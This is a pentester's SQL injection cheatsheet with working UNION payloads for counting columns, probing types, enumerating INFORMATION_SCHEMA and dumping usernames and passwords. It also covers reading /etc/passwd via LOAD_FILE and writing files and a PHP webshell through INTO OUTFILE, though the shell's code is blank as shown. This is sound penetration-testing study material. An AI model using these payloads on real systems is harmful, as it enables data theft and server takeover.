CtrlK

Pentest Notes / Exploitation / Web Exploitation

SQL Injection

Cheatsheet:

https://portswigger.net/web-security/sql-injection/cheat-sheet

Obfuscation:

https://portswigger.net/web-security/essential-skills/obfuscating-attacks-using-encodings

Comment:

-- or # (in PostgreSQL)

To skip evaluation of remaining fields:
Add ' -- in the end of the current field (OR)
Add ' -- - in the URL because the space in the end might get stripped off.

Version

Database typeQuery
Microsoft, MySQLSELECT @@version
OracleSELECT * FROM v$version
PostgreSQLSELECT version()

In Oracle database:

• every SELECT statement must specify a table to select FROM
• built-in table on Oracle called dual which you can use for this purpose. For example: UNION SELECT 'abc' FROM dual
• practice: https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-oracle
• Field in v$verison: banner. use null in other placeholders if error arises

UNION Attacks

2 key requirements must be met:
• Individual queries must return same number of columns.
• The data types in each column must be compatible between the individual queries.

Finding number of columns required

  1. ORDER BY clause
    'order by [integer] --
    Keep increasing the count until error is returned

  2. UNION SELECT payloads
    ' UNION SELECT NULL--
    ' UNION SELECT NULL,NULL--
    and so on: number of NULL must match number of columns

Finding datatype of a column

• NULL matches any type => therefore used initially (in finding no. of columns)
• To obtain data, we need to know the datatype. Test each column for string compatibility:
For eg, if 4 columns:
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--

Error → column datatype ≠ string ❌  
No error => that column is suitable ✅ for retreiving string data

Finding names of tables and columns

List databases:

The table SCHEMATA in the INFORMATION_SCHEMA database contains information about all databases.
Main column: SCHEMA_NAME
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
List current database:
SELECT database()

List tables:

The TABLES table in the INFORMATION_SCHEMA Database contains info about all the tables.
Main columns: TABLE_SCHEMA (database of each table) and TABLE_NAME (table name of each column)
SELECT TABLE_NAME, TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES

List columns:

The COLUMNS table in the INFORMATION_SCHEMA Database contains information about all columns.
Main columns: COLUMN_NAME, TABLE_NAME, and TABLE_SCHEMA
SELECT TABLE_NAME, TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS

Retrieving data

• First, find out no. columns and the datatype of it.
• Then find out the name of the table and columns.
If 4 columns are present and you can retrieve data from 2 columns, then put null for the other columns
Eg: ' UNION SELECT NULL, username, password, NULL FROM users--

Retrieving multiple values in single column

Conatenation: Refer cheatsheet for syntax
If only 1 column accepts strings, concatenate both fields with a delimiter
For eg:
' UNION SELECT null, username || '~' || password FROM users--
Use delimiter like '~' or '@' in the middle to make out the different fields

Reading Files

Our user must have the FILE privilege to load a file's content.

Find current DB user

Any one:
SELECT USER()
SELECT CURRENT_USER()
SELECT user from mysql.user

Find user privileges

privileges from schema:
SELECT grantee, privilege_type FROM information_schema.user_privileges
super admin privileges (Y/N):
SELECT super_priv FROM mysql.user
If there are too many users, we can filter our using where user=[username]

LOAD_FILE()

In MariaDB / MySQL, can be used to read data from file
SELECT LOAD_FILE('/etc/passwd');

Writing Files

We must have the following:
• User with FILE privilege enabled
• MySQL global secure_file_priv variable not enabled
• Write access to the location we want to write to on the back-end server

secure_file_priv

Used to determine where to read/write files from.
Empty: Read from entire file system
Specific: Can only read from folder specified by the variable.
NULL: Cannot read/write from any directory

This is stored in the table global_variables in INFORMATION_SCHEMA database
2 columns: variable_name and variable_value
SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"

To write to a web server:

• Must know the web root.
• Use load_file to read the server configuration:
Apache: /etc/apache2/apache2.conf
Nginx's: /etc/nginx/nginx.conf
IIS: %WinDir%\System32\Inetsrv\Config\ApplicationHost.config
• Check the files that are included in this file or google it.

SELECT INTO OUTFILE

Can be used to write data from select queries into files
Usually used for exporting data from tables.
SELECT 'file written successfully!' into outfile '/var/www/html/proof.txt'
Check the file proof.txt to see if it indeed exits.

Writing webshell

PHP webshell that executes command on the back-end:

Write through SQLi:
select '' into outfile '/var/www/html/shell.php'
To execute commands: /filename.php?0=[command]

NOTE: all the placeholders/columns must be satisfied. for columns use open, close quotes ""